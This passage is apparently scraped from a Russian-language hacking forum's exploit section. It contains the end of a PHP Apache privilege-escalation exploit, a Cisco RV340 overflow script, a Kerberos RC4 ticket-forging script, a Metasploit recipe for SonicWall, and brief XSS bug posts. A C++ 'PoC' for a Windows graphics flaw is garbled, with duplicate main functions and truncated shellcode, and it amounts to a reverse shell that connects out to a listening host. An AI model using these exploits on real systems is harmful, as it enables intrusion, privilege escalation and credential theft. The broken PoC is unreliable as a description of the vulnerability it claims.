    for(
      $i = 0;
      $i < strlen($payload);
      $i++
    )
    {
      $this->abc[$p+$i] = $payload[$i];
    }

    # Fill the spray area with a pointer to properties
    
    $properties_address = $payload_start + strlen($bucket) + strlen($meth);
    o('Spraying pointer');
    o('  Address: 0x' . dechex($properties_address));
    o('  From: 0x' . dechex($spray_min));
    o('  To: 0x' . dechex($spray_max));
    o('  Size: 0x' . dechex($spray_size));
    o('  Covered: 0x' . dechex($spray_size * count($workers_pids)));
    o('  Apache: 0x' . dechex(
      $addresses['apache'][1] -
      $addresses['apache'][0]
    ));

    $s_properties_address = ptr2str($properties_address);

    for(
      $i = $spray_min;
      $i < $spray_max;
      $i++
    )
    {
      $this->abc[$i - $address] = $s_properties_address[$i % 8];
    }
    o('');

    # Find workers PID in the SHM: it indicates the beginning of their
    # process_score structure. We can then change process_score.bucket to
    # the index we computed. When apache reboots, it will use
    # all_buckets[ap_scoreboard_image->parent[i]->bucket]->mutex
    # which means we control the whole apr_proc_mutex_t structure.
    # This structure contains pointers to multiple functions, especially
    # mutex->meth->child_init(), which will be called before privileges
    # are dropped.
    # We do this for every worker PID, incrementing the bucket index so that
    # we cover a bigger range.
    
    o('Iterating in SHM to find PIDs...');

    # Number of bucket indexes covered by our spray
    $spray_nb_buckets = (int) ($spray_size / $size_prefork_child_bucket);
    # Number of bucket indexes covered by our spray and the PS structures
    $total_nb_buckets = $spray_nb_buckets * count($workers_pids);
    # First bucket index to handle
    $bucket_index = $bucket_index_middle - (int) ($total_nb_buckets / 2);

    # Iterate over every process_score structure until we find every PID or
    # we reach the end of the SHM
    for(
      $p = $addresses['shm'][0] + 0x20;
      $p < $addresses['shm'][1] && count($workers_pids) > 0;
      $p += 0x24
    )
    {
      $l = $p - $address;
      $current_pid = str2ptr($this->abc, $l, 4);
      o('Got PID: ' . $current_pid);
      # The PID matches one of the workers
      if(in_array($current_pid, $workers_pids))
      {
        unset($workers_pids[$current_pid]);
        o('  PID matches');
        # Update bucket address
        $s_bucket_index = pack('l', $bucket_index);
        $this->abc[$l + 0x20] = $s_bucket_index[0];
        $this->abc[$l + 0x21] = $s_bucket_index[1];
        $this->abc[$l + 0x22] = $s_bucket_index[2];
        $this->abc[$l + 0x23] = $s_bucket_index[3];
        o('  Changed bucket value to ' . $bucket_index);
        $min = $spray_min - $size_prefork_child_bucket * $bucket_index;
        $max = $spray_max - $size_prefork_child_bucket * $bucket_index;
        o('  Ranges: 0x' . dechex($min) . ' - 0x' . dechex($max));
        # This bucket range is covered, go to the next one
        $bucket_index += $spray_nb_buckets;
      }
    }

    if(count($workers_pids) > 0)
    {
      o(
        'Unable to find PIDs ' .
        implode(', ', $workers_pids) .
        ' in SHM, exiting.'
      );
      exit();
    }

    o('');
    o('EXPLOIT SUCCESSFUL.');
    o('Await 6:25AM.');
    
    return 0;
  }
}

function o($msg)
{
  # No concatenation -> no string allocation
  print($msg);
  print("\n");
}

function ptr2str($ptr, $m=8)
{
  $out = "";
    for ($i=0; $i<$m; $i++)
    {
        $out .= chr($ptr & 0xff);
        $ptr >>= 8;
    }
    return $out;
}

function str2ptr(&$str, $p, $s=8)
{
  $address = 0;
  for($j=$s-1;$j>=0;$j--)
  {
    $address <<= 8;
    $address |= ord($str[$p+$j]);
  }
  return $address;
}

function in($i, $range)
{
  return $i >= $range[0] && $i < $range[1];
}

/**
 * Finds the offset of a symbol in a file.
 */
function find_symbol($file, $symbol)
{
    $elf = file_get_contents($file);
    $e_shoff = str2ptr($elf, 0x28);
    $e_shentsize = str2ptr($elf, 0x3a, 2);
    $e_shnum = str2ptr($elf, 0x3c, 2);

    $dynsym_off = 0;
    $dynsym_sz = 0;
    $dynstr_off = 0;

    for($i=0;$i<$e_shnum;$i++)
    {
        $offset = $e_shoff + $i * $e_shentsize;
        $sh_type = str2ptr($elf, $offset + 0x04, 4);

        $SHT_DYNSYM = 11;
        $SHT_SYMTAB = 2;
        $SHT_STRTAB = 3;

        switch($sh_type)
        {
            case $SHT_DYNSYM:
                $dynsym_off = str2ptr($elf, $offset + 0x18, 8);
                $dynsym_sz = str2ptr($elf, $offset + 0x20, 8);
                break;
            case $SHT_STRTAB:
            case $SHT_SYMTAB:
                if(!$dynstr_off)
                    $dynstr_off = str2ptr($elf, $offset + 0x18, 8);
                break;
        }

    }

    if(!($dynsym_off && $dynsym_sz && $dynstr_off))
        exit('.');

    $sizeof_Elf64_Sym = 0x18;

    for($i=0;$i * $sizeof_Elf64_Sym < $dynsym_sz;$i++)
    {
        $offset = $dynsym_off + $i * $sizeof_Elf64_Sym;
        $st_name = str2ptr($elf, $offset, 4);
        
        if(!$st_name)
            continue;
        
        $offset_string = $dynstr_off + $st_name;
        $end = strpos($elf, "\x00", $offset_string) - $offset_string;
        $string = substr($elf, $offset_string, $end);

        if($string == $symbol)
        {
            $st_value = str2ptr($elf, $offset + 0x8, 8);
            return $st_value;
        }
    }

    die('Unable to find symbol ' . $symbol);
}

# Obtains the addresses of the shared memory block and some functions through
# /proc/self/maps
# This is hacky as hell.
function get_all_addresses()
{
  $addresses = [];
  $data = file_get_contents('/proc/self/maps');
  $follows_shm = false;

  foreach(explode("\n", $data) as $line)
  {
    if(!isset($addresses['shm']) && strpos($line, '/dev/zero'))
    {
            $line = explode(' ', $line)[0];
            $bounds = array_map('hexdec', explode('-', $line));
            if ($bounds[1] - $bounds[0] == 0x14000)
            {
                $addresses['shm'] = $bounds;
                $follows_shm = true;
            }
        }
    if(
      preg_match('#(/[^\s]+libc-[0-9.]+.so[^\s]*)#', $line, $matches) &&
      strpos($line, 'r-xp')
    )
    {
      $offset = find_symbol($matches[1], 'system');
      $line = explode(' ', $line)[0];
      $line = hexdec(explode('-', $line)[0]);
      $addresses['system'] = $line + $offset;
    }
    if(
      strpos($line, 'libapr-1.so') &&
      strpos($line, 'r-xp')
    )
    {
      $line = explode(' ', $line)[0];
      $bounds = array_map('hexdec', explode('-', $line));
      $addresses['libaprX'] = $bounds;
    }
    if(
      strpos($line, 'libapr-1.so') &&
      strpos($line, 'r--p')
    )
    {
      $line = explode(' ', $line)[0];
      $bounds = array_map('hexdec', explode('-', $line));
      $addresses['libaprR'] = $bounds;
    }
    # Apache's memory block is between the SHM and ld.so
    # Sometimes some rwx region gets mapped; all_buckets cannot be in there
    # but we include it anyways for the sake of simplicity
    if(
      (
        strpos($line, 'rw-p') ||
        strpos($line, 'rwxp')
      ) &&
            $follows_shm
    )
    {
            if(strpos($line, '/lib'))
            {
                $follows_shm = false;
                continue;
            }
      $line = explode(' ', $line)[0];
      $bounds = array_map('hexdec', explode('-', $line));
      if(!array_key_exists('apache', $addresses))
          $addresses['apache'] = $bounds;
      else if($addresses['apache'][1] == $bounds[0])
                $addresses['apache'][1] = $bounds[1];
      else
                $follows_shm = false;
    }
    if(
      preg_match('#(/[^\s]+libphp7[0-9.]+.so[^\s]*)#', $line, $matches) &&
      strpos($line, 'r-xp')
    )
    {
      $offset = find_symbol($matches[1], 'zend_object_std_dtor');
      $line = explode(' ', $line)[0];
      $line = hexdec(explode('-', $line)[0]);
      $addresses['zend_object_std_dtor'] = $line + $offset;
    }
  }

  $expected = [
    'shm', 'system', 'libaprR', 'libaprX', 'apache', 'zend_object_std_dtor'
  ];
  $missing = array_diff($expected, array_keys($addresses));

  if($missing)
  {
    o(
      'The following addresses were not determined by parsing ' .
      '/proc/self/maps: ' . implode(', ', $missing)
    );
    exit(0);
  }


  o('PID: ' . getmypid());
  o('Fetching addresses');

  foreach($addresses as $k => $a)
  {
    if(!is_array($a))
      $a = [$a];
    o('  ' . $k . ': ' . implode('-0x', array_map(function($z) {
        return '0x' . dechex($z);
    }, $a)));
  }
  o('');

  return $addresses;
}

# Extracts PIDs of apache workers using /proc/*/cmdline and /proc/*/status,
# matching the cmdline and the UID
function get_workers_pids()
{
  o('Obtaining apache workers PIDs');
  $pids = [];
  $cmd = file_get_contents('/proc/self/cmdline');
  $processes = glob('/proc/*');
  foreach($processes as $process)
  {
    if(!preg_match('#^/proc/([0-9]+)$#', $process, $match))
      continue;
    $pid = (int) $match[1];
    if(
      !is_readable($process . '/cmdline') ||
      !is_readable($process . '/status')
    )
      continue;
    if($cmd !== file_get_contents($process . '/cmdline'))
      continue;

    $status = file_get_contents($process . '/status');
    foreach(explode("\n", $status) as $line)
    {
      if(
        strpos($line, 'Uid:') === 0 &&
        preg_match('#\b' . posix_getuid() . '\b#', $line)
      )
      {
        o('  Found apache worker: ' . $pid);
        $pids[$pid] = $pid;
        break;
      }

    }
  }
 
  o('Got ' . sizeof($pids) . ' PIDs.');
  o('');

  return $pids;
}

$addresses = get_all_addresses();
$workers_pids = get_workers_pids();
real();
CVE-2022-41040 Microsoft Exchange Server SSRF (ProxyNotShell)
ID: 67686ba3b4103b69df379bf5
Thread ID: 74030
Created: 2022-10-06T20:48:24+0000
Last Post: 2023-02-01T17:50:37+0000
Author: YoungHustler
Prefix: Remote
Replies: 13 Views: 5K

Github:

github.com

[ GitHub - d3duct1v/CVE-2022-41040: Code set relating to CVE-2022-41040

](https://github.com/d3duct1v/CVE-2022-41040)

Code set relating to CVE-2022-41040. Contribute to d3duct1v/CVE-2022-41040 development by creating an account on GitHub.

github.com github.com

Дыры FastBB
ID: 67686ba3b4103b69df379e63
Thread ID: 5385
Created: 2005-10-29T19:35:15+0000
Last Post: 2006-03-19T11:54:01+0000
Author: Winux
Prefix: Web
Replies: 7 Views: 5K

XSS в FastBB

Очередная язва в Быстром ББ. Найдена все опять же благодаря отсутствия фильтрации некоторых вложенных тегов.

Суть бага, точнее только XSS код, который надо сунуть сами знаете куда можно поглядеть здесь.

RCE, Windows 7 (x86), BlueKeep, CVE-2019-0708
ID: 67686ba3b4103b69df379c77
Thread ID: 34775
Created: 2020-02-04T09:59:56+0000
Last Post: 2021-11-09T06:33:47+0000
Author: amstrot
Prefix: Remote
Replies: 16 Views: 5K

В архиве лежит .txt там ман по эксплойту.

You must have at least 10 message(s) to view the content.

Sonicwall RCE CVE-2023-34124
ID: 67686ba3b4103b69df379b68
Thread ID: 96256
Created: 2023-08-22T07:47:05+0000
Last Post: 2024-05-17T10:39:14+0000
Author: 0x00x0
Prefix: Remote
Replies: 28 Views: 5K

C-like:Copy to clipboard

    Start msfconsole
    Do use exploit/multi/http/sonicwall_shell_injection_cve_2023_34124
    Set the appropriate TARGET, RHOST, LHOST, and possibly FETCH_SRVHOST (for Windows)
    Do run
    You should get meterpreter

github.com/rapid7/metasploit-framework/pull/18302

CVE-2023-21823 PoC in C++
ID: 67686ba3b4103b69df379b33
Thread ID: 83445
Created: 2023-03-08T16:04:13+0000
Last Post: 2024-09-07T22:18:59+0000
Author: USDoD
Prefix: Remote
Replies: 10 Views: 5K

CVE-2023-21823. - Windows Graphics Component Remote Code Execution Vulnerability discovered by Genwei Jiang and Dhanesh Kizhakkinan of Mandiant.
Microsoft says this remote code execution vulnerability allows attackers to execute commands with SYSTEM privileges.
Source: https://www.bleepingcomputer[.]com/...tuesday-fixes-3-exploited-zero- days-77-flaws/

C++:Copy to clipboard

#include <windows.h>
#include <winsock2.h>
#include <stdio.h>
#include <ws2tcpip.h>
#pragma comment(lib,"ws2_32")

int main() {
    HBITMAP hBitmap;
    HDC hdcMem;
    LPVOID pvScan0;
    BITMAPINFO bmi = { sizeof(BITMAPINFOHEADER), 0, 0, 1, 32, BI_RGB };
    BYTE bJmp[6] = { 0xEB, 0x06, 0x90, 0x90, 0x90, 0x90 };

    hBitmap = CreateBitmap(1, 1, 1, 32, NULL);
    hdcMem = CreateCompatibleDC(NULL);
    SelectObject(hdcMem, hBitmap);
    GetDIBits(hdcMem, hBitmap, 0, 0, NULL, &bmi, DIB_RGB_COLORS);
    pvScan0 = VirtualAlloc(NULL, bmi.bmiHeader.biSizeImage, MEM_COMMIT, PAGE_READWRITE);
    bmi.bmiHeader.biCompression = BI_JPEG;
    memcpy((PBYTE)pvScan0 + bmi.bmiHeader.biSizeImage - 6, bJmp, 6);
    SetDIBits(hdcMem, hBitmap, 0, 1, pvScan0, &bmi, DIB_RGB_COLORS);
 
int main(int argc, char** argv)
{
    WSADATA wsaData;
    SOCKET s;
    SOCKADDR_IN server;
    STARTUPINFO sInfo;
    PROCESS_INFORMATION pInfo;

    // Reverse shell payload
    char* shellcode = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc\x02\x00\x1f\x90\xc0\xa8\x00\x66\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x02\x59\x50\x50\x4d\x31\xc9\x

int main()
{
    // Setup reverse shell payload
    WSADATA wsaData;
    SOCKET Winsock;
    sockaddr_in addr;
    STARTUPINFOA sInfo;
    PROCESS_INFORMATION pInfo;

    WSAStartup(MAKEWORD(2, 2), &wsaData);

    Winsock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, NULL, NULL);
    addr.sin_family = AF_INET;
    addr.sin_addr.s_addr = inet_addr("192.168.0.1"); // Your IP address here
    addr.sin_port = htons(1234); // Your listening port here

    WSAConnect(Winsock, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL, NULL, NULL);

    memset(&sInfo, 0, sizeof(sInfo));
    sInfo.cb = sizeof(sInfo);
    sInfo.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
    sInfo.hStdInput = sInfo.hStdOutput = sInfo.hStdError = (HANDLE)Winsock;

    char* szCmdline = "cmd.exe"; // Command line to execute

    CreateProcessA(NULL, szCmdline, NULL, NULL, TRUE, 0, NULL, NULL, &sInfo, &pInfo);

    return 0;
}
RCE, Windows Remote Desktop Client, CVE-2022-21990
ID: 67686ba3b4103b69df379b6d
Thread ID: 67717
Created: 2022-05-27T06:35:23+0000
Last Post: 2024-04-24T20:36:17+0000
Author: weaver
Prefix: Remote
Replies: 12 Views: 5K

Description vulnerability

The vulnerability allows a malicious RDP server to gain write access to any local drive on a computer running a connected RDP client, as long as at least one local drive is accessible through the RDP session.

Click to expand...

Description PoC

The trick Abdelhamid used in their POC was, as it so often happens, a symbolic link: Suppose you connected to a malicious RDP server and shared a locally plugged-in USB drive E:, the server could create a symbolic link from E:\temp to C:\ (which would mean your local C: drive, not server's) whereby the entire content of drive C:
would become accessible to the server under E:\temp with permissions of the connecting user.

Click to expand...

PoC

github.com

[ GitHub - klinix5/ReverseRDP_RCE

](https://github.com/klinix5/ReverseRDP_RCE)

Contribute to klinix5/ReverseRDP_RCE development by creating an account on GitHub.

github.com github.com

Cisco - CVE-2022-20699
ID: 67686ba3b4103b69df379c20
Thread ID: 62699
Created: 2022-02-09T15:17:46+0000
Last Post: 2022-09-01T04:48:53+0000
Author: Kelegen
Prefix: Remote
Replies: 53 Views: 5K

Python:Copy to clipboard

#!/usr/bin/python3
# @FlashbackPwn @offensive_con
# https://twitter.com/jifa/status/1489971006122909704#m
# it is not well checked

import sys
import requests
import urllib3
import time
import socket


urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def usage():
    print("./flashback_connects.py <TARGET>")
    sys.exit(-1)

if len(sys.argv) != 2:
    usage()

print("[x] Flashback_connects")
print("[*] Launching attack against Cisco RV340 WAN")
print("")


shellcode = b''

TARGET = sys.argv[1]
FILLER = shellcode + b'\x05' * (16400-(len(shellcode)))

#sc?### 0x704aed98
PC = b'\x98\xed\x4a\x70'

url = 'https://%s:8443/X' % TARGET
url += 'X' * (len(TARGET)-7)

payload = FILLER + PC

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
result = sock.connect_ex((TARGET, 8443))
if result == 0:
    print("[*] SSLVPND is up, ready to go!")
else:
    print("[!] SSLVPND is down. Check configuration and try again")
    sys.exit(-1)
sock.close()

while(True):
    try:
        print("[*] Attempt!")
        r = requests.post(url, data=payload, verify=False)
    except requests.exceptions.ConnectionError as e:
        print("[!] Service not available. Sleeping")
        time.sleep(10)
Язвочки sPaize Nuke
ID: 67686ba3b4103b69df379e69
Thread ID: 5510
Created: 2005-11-11T19:06:40+0000
Last Post: 2006-02-01T08:13:40+0000
Author: Winux
Prefix: Web
Replies: 5 Views: 4K

Недавно были найдены баги в популярнейшем двиге sPaize Nuke.
1. Уязвимость в модулях поиска, пример использования:
http://test.ru/modules.php?name=Articles&f...бла%20бла%20бла[XSS CODE]&cat_id=&type=articles

2. Уязвимость в админке, в модуле "переходы с сайтов". Баг позволяет внедрить в тело админки через параметр рефери скрипт. Рефери, содержащие html-код, будет восприниматься не как текст, а как код.

Закрываем баг:
search.php
Открываем файл modules/Articles/search.php, находим там 12 строку:
$pagetitle = _M_ART8." : ".$_GET['query'];
заменяем ее на:
$pagetitle = _M_ART8." : ".htmlspecialchars($_GET['query']);
Открываем файл modules/Files/search.php, находим там 12 строку:
$pagetitle = _M_FILES44." : ".$_GET['query'];
заменяем ее на:
$pagetitle = _M_FILES44." : ".htmlspecialchars($_GET['query']);
Открываем файл modules/Links/search.php, находим там 16 строку:
$pagetitle = _M_LINKS44." : ".$_GET['query'];
заменяем ее на:
$pagetitle = _M_LINKS44." : ".htmlspecialchars($_GET['query']);

header.php
ищем такие строки:
if ($config['http_ref'])
{
$referer = getenv("HTTP_REFERER");
if ($referer != "" AND !eregi("^unknown", $referer) AND !eregi("^bookmark",$referer) AND !strpos("$referer",$_SERVER["HTTP_HOST"]))
Заменяем на:
if ($config['http_ref'])
{
$referer = getenv("HTTP_REFERER");
$referer = htmlspecialchars($referer);
if ($referer != "" AND !eregi("^unknown", $referer) AND !eregi("^bookmark",$referer) AND !strpos("$referer",$_SERVER["HTTP_HOST"]))

CVE-2022-33679
ID: 67686ba3b4103b69df379c01
Thread ID: 75212
Created: 2022-11-04T08:08:32+0000
Last Post: 2023-01-17T04:57:10+0000
Author: timeshout
Prefix: Remote
Replies: 14 Views: 4K

Code:Copy to clipboard

usage: CVE-2022-33079.py [-h] [-ts] [-debug] [-dc-ip ip address] target serverName

1667549297764.png

Python:Copy to clipboard

import datetime
import random
import argparse
import logging
import sys
from binascii import hexlify, unhexlify

from pyasn1.codec.der import decoder, encoder
from pyasn1.type.univ import noValue

from impacket import version
from impacket.examples import logger
from impacket.examples.utils import parse_credentials

from impacket.krb5.kerberosv5 import KerberosError, sendReceive
from impacket.krb5.asn1 import AS_REQ, KERB_PA_PAC_REQUEST, \
    PA_ENC_TS_ENC, AS_REP, EncryptedData, EncASRepPart, seq_set, \
    seq_set_iter, KERB_ERROR_DATA, HostAddress, HostAddresses, Ticket
from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REQ, TGS_REP, EncTGSRepPart
from impacket.krb5.types import KerberosTime, Principal
from impacket.krb5.types import Ticket as TTicket
from impacket.krb5 import constants
from impacket.krb5.crypto import Key
from impacket.krb5.ccache import Principal as CPrincipal
from impacket.krb5.ccache import CCache, Header, Credential, Times, CountedOctetString
try:
    from impacket.krb5.ccache import KeyBlockV4 as KeyBlock
except:
    from impacket.krb5.ccache import KeyBlock

from arc4 import ARC4

try:
    rand = random.SystemRandom()
except NotImplementedError:
    rand = random
    pass

class TGTBrute:
    def __init__(self, target, domain, servername, options):
        self.__user = target
        self.__domain = domain
        self.__servername = servername
        self.__options = options
        self.__kdcHost = options.dc_ip
        self.__asReq = None
        self.__reqBody = None
        self.__encodedPacRequest = None

    def prepareAsReq(self, requestPAC=True):
        rsadsi_rc4_md4 = -128
        self.__asReq = AS_REQ()

        domain = self.__domain.upper()
        serverName = Principal('krbtgt/%s'%domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
        userName = Principal(self.__user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
        pacRequest = KERB_PA_PAC_REQUEST()
        pacRequest['include-pac'] = requestPAC
        self.__encodedPacRequest = encoder.encode(pacRequest)

        self.__asReq['pvno'] = 5
        self.__asReq['msg-type'] =  int(constants.ApplicationTagNumbers.AS_REQ.value)
        self.__reqBody = seq_set(self.__asReq, 'req-body')

        opts = list()
        opts.append( constants.KDCOptions.forwardable.value )
        opts.append( constants.KDCOptions.renewable.value )
        opts.append( constants.KDCOptions.proxiable.value )
        self.__reqBody['kdc-options']  = constants.encodeFlags(opts)

        seq_set(self.__reqBody, 'sname', serverName.components_to_asn1)
        seq_set(self.__reqBody, 'cname', userName.components_to_asn1)

        if domain == '':
            raise Exception('Empty Domain not allowed in Kerberos')

        now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
        self.__reqBody['realm'] = domain
        self.__reqBody['till'] = KerberosTime.to_asn1(now)
        self.__reqBody['rtime'] = KerberosTime.to_asn1(now)
        self.__reqBody['nonce'] =  rand.getrandbits(31)
        supportedCiphers = (rsadsi_rc4_md4,)
        seq_set_iter(self.__reqBody, 'etype', supportedCiphers)

    def getTGT(self, requestPAC=True):
        self.prepareAsReq()
        self.__asReq['padata'] = noValue
        self.__asReq['padata'][0] = noValue
        self.__asReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value)
        self.__asReq['padata'][0]['padata-value'] = self.__encodedPacRequest
        for i in range(20): # Add padding for more known bytes:
            addr = HostAddress()
            addr['addr-type']=1
            addr['address']=bytes([0,0,0,i])
            self.__reqBody['addresses'][i] = addr
        message = encoder.encode(self.__asReq)

        try:
            r = sendReceive(message, domain, self.__kdcHost)
        except KerberosError as e:
            if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
                logging.error(" RC4 is not supported")
                exit()
            else:
                raise
        return r

    def sendEncTs(self, data, requestPAC=True):
        self.prepareAsReq()

        encryptedData = EncryptedData()
        encryptedData['etype'] = -128
        encryptedData['cipher'] = data
        encodedEncryptedData = encoder.encode(encryptedData)

        self.__asReq['padata'] = noValue
        self.__asReq['padata'][0] = noValue
        self.__asReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_ENC_TIMESTAMP.value)
        self.__asReq['padata'][0]['padata-value'] = encodedEncryptedData
        self.__asReq['padata'][1] = noValue
        self.__asReq['padata'][1]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value)
        self.__asReq['padata'][1]['padata-value'] = self.__encodedPacRequest
        message = encoder.encode(self.__asReq)
        success = True
        try:
            r = sendReceive(message, domain, self.__kdcHost)
        except Exception as e:
            success = False
        return success

    def RecoverKey(self, encryptedAsREP):
        AsREPPlain = b'\x00'*24+b'y\x82\x02\x140\x82\x02\x10\xa0\x1b0\x19\xa0\x03\x02\x01\x80\xa1\x12\x04\x10'

        RC4Flow = bytes([AsREPPlain[i]^encryptedAsREP[i] for i in range(45)])
        #first byte of the key
        now = datetime.datetime.utcnow()
        Timestamp = (KerberosTime.to_asn1(now)).encode()
        sTimestamp = len(Timestamp)+1
        encodedTimeStamp = bytes([0 for i in range(24)])+bytes([0x30, sTimestamp+4, 0xa0, sTimestamp+2, 0x18, sTimestamp])+ Timestamp
        encryptedTimeStamp = bytes([RC4Flow[i]^encodedTimeStamp[i] for i in range(45)])
        found = False
        for i in range(256):
            if self.sendEncTs(encryptedTimeStamp+bytes([i])):
                RC4Flow += bytes([i])
                logging.info("Byte 0: %02x"%i)
                found = True
                break
        if found == False:
            logging.error("No matching byte")
            exit()
        for j in range(4):
            found = False
            encodedTimeStamp  = bytes([0 for i in range(24)])+bytes([0x30, 0x81+j])+bytes([0])*j
            encodedTimeStamp += bytes([sTimestamp+4, 0xa0, sTimestamp+2, 0x18, sTimestamp])+ Timestamp
            encryptedTimeStamp = bytes([RC4Flow[i]^encodedTimeStamp[i] for i in range(46+j)])
            for i in range(256):
                if self.sendEncTs(encryptedTimeStamp+bytes([i])):
                    RC4Flow += bytes([i])
                    logging.info("Byte %d: %02x"%(j+1, i))
                    found = True
                    break
            if found == False:
                logging.error("No matching byte")
                exit()
        key = bytes([RC4Flow[i]^encryptedAsREP[i] for i in range(45, 50)]+[0xab]*11)
        return key

    def TGTtoTGS(self, TGT, sessionKey):
        rsadsi_rc4_md4 = -128
        serverName = Principal('cifs/%s'%self.__servername, type=constants.PrincipalNameType.NT_SRV_INST.value)
        ticket = TTicket()
        ticket.from_asn1(TGT['ticket'])
        apReq = AP_REQ()
        apReq['pvno'] = 5
        apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)

        opts = list()
        apReq['ap-options'] =  constants.encodeFlags(opts)
        seq_set(apReq,'ticket', ticket.to_asn1)

        authenticator = Authenticator()
        authenticator['authenticator-vno'] = 5
        authenticator['crealm'] = TGT['crealm'].asOctets()

        clientName = Principal()
        clientName.from_asn1( TGT, 'crealm', 'cname')

        seq_set(authenticator, 'cname', clientName.components_to_asn1)

        now = datetime.datetime.utcnow()
        authenticator['cusec'] =  now.microsecond
        authenticator['ctime'] = KerberosTime.to_asn1(now)

        encodedAuthenticator = encoder.encode(authenticator)

        cipher = ARC4(sessionKey[:8])
        encryptedEncodedAuthenticator = cipher.encrypt(b'\x00'*24+encodedAuthenticator)

        apReq['authenticator'] = noValue
        apReq['authenticator']['etype'] = rsadsi_rc4_md4
        apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator

        encodedApReq = encoder.encode(apReq)

        tgsReq = TGS_REQ()

        tgsReq['pvno'] =  5
        tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
        tgsReq['padata'] = noValue
        tgsReq['padata'][0] = noValue
        tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
        tgsReq['padata'][0]['padata-value'] = encodedApReq

        reqBody = seq_set(tgsReq, 'req-body')

        opts = list()
        opts.append( constants.KDCOptions.forwardable.value )
        opts.append( constants.KDCOptions.renewable.value )
        opts.append( constants.KDCOptions.renewable_ok.value )
        opts.append( constants.KDCOptions.canonicalize.value )

        reqBody['kdc-options'] = constants.encodeFlags(opts)
        seq_set(reqBody, 'sname', serverName.components_to_asn1)
        reqBody['realm'] = domain

        now = datetime.datetime.utcnow() + datetime.timedelta(days=1)

        reqBody['till'] = KerberosTime.to_asn1(now)
        reqBody['nonce'] = rand.getrandbits(31)
        seq_set_iter(reqBody, 'etype',
                          (
                              int(constants.EncryptionTypes.rc4_hmac.value),
                              int(constants.EncryptionTypes.des3_cbc_sha1_kd.value),
                              int(constants.EncryptionTypes.des_cbc_md5.value),
                           )
                    )

        message = encoder.encode(tgsReq)
        r = sendReceive(message, self.__domain, self.__kdcHost)
        return r

    def TGSToCCache(self, TGS, sessionKey): #from CCache.fromTGT

        ccache = CCache()
        ccache.headers = []
        header = Header()
        header['tag'] = 1
        header['taglen'] = 8
        header['tagdata'] = b'\xff\xff\xff\xff\x00\x00\x00\x00'
        ccache.headers.append(header)
        tmpPrincipal = Principal()
        tmpPrincipal.from_asn1(TGS, 'crealm', 'cname')
        ccache.principal = CPrincipal()
        ccache.principal.fromPrincipal(tmpPrincipal)

        # Now let's add the credential
        encryptedTGSREP = bytes(TGS['enc-part']['cipher'])
        cipher = ARC4(sessionKey[:8])
        plainText = cipher.decrypt(bytes(encryptedTGSREP))[24:]
        encTGSRepPart = decoder.decode(plainText, asn1Spec = EncTGSRepPart())[0]

        credential = Credential()
        server = Principal()
        server.from_asn1(encTGSRepPart, 'srealm', 'sname')
        tmpServer = CPrincipal()
        tmpServer.fromPrincipal(server)
        credential['client'] = ccache.principal
        credential['server'] = tmpServer
        credential['is_skey'] = 0

        credential['key'] = KeyBlock()
        credential['key']['keytype'] = int(encTGSRepPart['key']['keytype'])
        credential['key']['keyvalue'] = encTGSRepPart['key']['keyvalue'].asOctets()
        credential['key']['keylen'] = len(credential['key']['keyvalue'])

        credential['time'] = Times()
        credential['time']['authtime'] = ccache.toTimeStamp(KerberosTime.from_asn1(encTGSRepPart['authtime']))
        credential['time']['starttime'] = ccache.toTimeStamp(KerberosTime.from_asn1(encTGSRepPart['starttime']))
        credential['time']['endtime'] = ccache.toTimeStamp(KerberosTime.from_asn1(encTGSRepPart['endtime']))
        # after kb4586793 for cve-2020-17049 this timestamp may be omitted
        if encTGSRepPart['renew-till'].hasValue():
            credential['time']['renew_till'] = ccache.toTimeStamp(KerberosTime.from_asn1(encTGSRepPart['renew-till']))

        flags = ccache.reverseFlags(encTGSRepPart['flags'])
